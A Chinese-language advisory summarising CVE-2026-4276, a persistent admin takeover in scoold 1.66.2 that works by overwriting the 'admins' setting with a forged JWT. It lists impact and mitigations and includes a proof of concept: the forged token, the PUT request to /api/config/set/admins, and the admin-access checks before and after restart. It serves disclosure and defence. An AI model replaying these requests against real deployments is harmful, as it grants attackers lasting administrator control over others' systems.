# 漏洞总结:Eruka/scoold 持久化管理员接管漏洞 ## 漏洞概述 **漏洞名称**:H-AUTH-002: Persistent Admin Takeover by Overwriting the admins Setting **CVE ID**:CVE-2026-4276 **严重程度**:Moderate (6.7 / 10) **描述**: 该漏洞允许攻击者通过 `/api/config/set/admins` 接口,利用伪造的 JWT(缺少 `jti` 验证)将 `admins` 配置值修改为攻击者的邮箱。虽然配置文件的修改不会立即在当前进程中生效(因为 `ADMINS` 仅在启动时加载),但攻击者可以通过重启服务或触发操作来使配置生效,从而获得持久化的管理员权限。 ## 影响范围 * **受影响版本**:1.66.2 * **修复版本**:1.67.0 * **影响**: * 攻击者可以添加自己的邮箱到管理员列表。 * 即使会话清理,攻击者也能通过重启服务重新获得管理员权限。 * 导致持久化的权限提升。 ## 修复方案 1. **限制访问**:防止未经授权访问 `/api/config/set/` 接口。 2. **严格验证**:将 `admins` 的更改视为高度敏感,要求严格的真实管理员授权。 3. **审计日志**:审计并记录对特权设置的所有写入操作。 4. **配置保护**:考虑完全阻止运行时修改某些密钥,或将其移出可编辑的配置界面。 5. **检查现有配置**:检查现有配置文件以查找意外的 `scoold.admins` 值。 ## 利用代码 (POC) ### 1. 伪造的 JWT Token ```text eyJhbGc1O1JUZlI1NjI3O.vyJuvMyIDjENZY2NA3000u1mHY1I8in1icJvLVxZXI1cJnHbBpZC161efwcDpcT29vN0Q1IC1hM10jE3Nl ``` ### 2. 测试用低权限用户 ```text auditor2@example.com ``` ### 3. 步骤 1:覆盖 admins 配置 **请求:** ```http PUT /api/config/set/admins HTTP/1.1 Host: 127.0.0.1:8080 Authorization: Bearer eyJhbGc1O1JUZlI1NjI3O.vyJuvMyIDjENZY2NA3000u1mHY1I8in1icJvLVxZXI1cJnHbBpZC161efwcDpcT29vN0Q1IC1hM10jE3Nl Content-Type: application/json {"value":"auditor2@example.com"} ``` **响应:** ```http HTTP/1.1 200 {} ``` **配置文件更新内容:** ```text scoold.admins = "auditor2@example.com" ``` ### 4. 步骤 2:验证更改是否立即生效 **请求:** ```http GET /admin HTTP/1.1 Host: 127.0.0.1:8080 Cookie: scoold-auth= ``` **响应:** ```http HTTP/1.1 303 Location: / ``` *(注:此时配置已写入文件,但内存中的管理员列表未更新,因此无法直接访问 /admin)* ### 5. 步骤 4:重启后确认管理员访问 **请求:** ```http GET /admin/para-version HTTP/1.1 Host: 127.0.0.1:8080 Cookie: scoold-auth= ``` **响应状态:** ```text 200 ``` *(注:重启后,该用户被识别为管理员,并返回管理员页面)*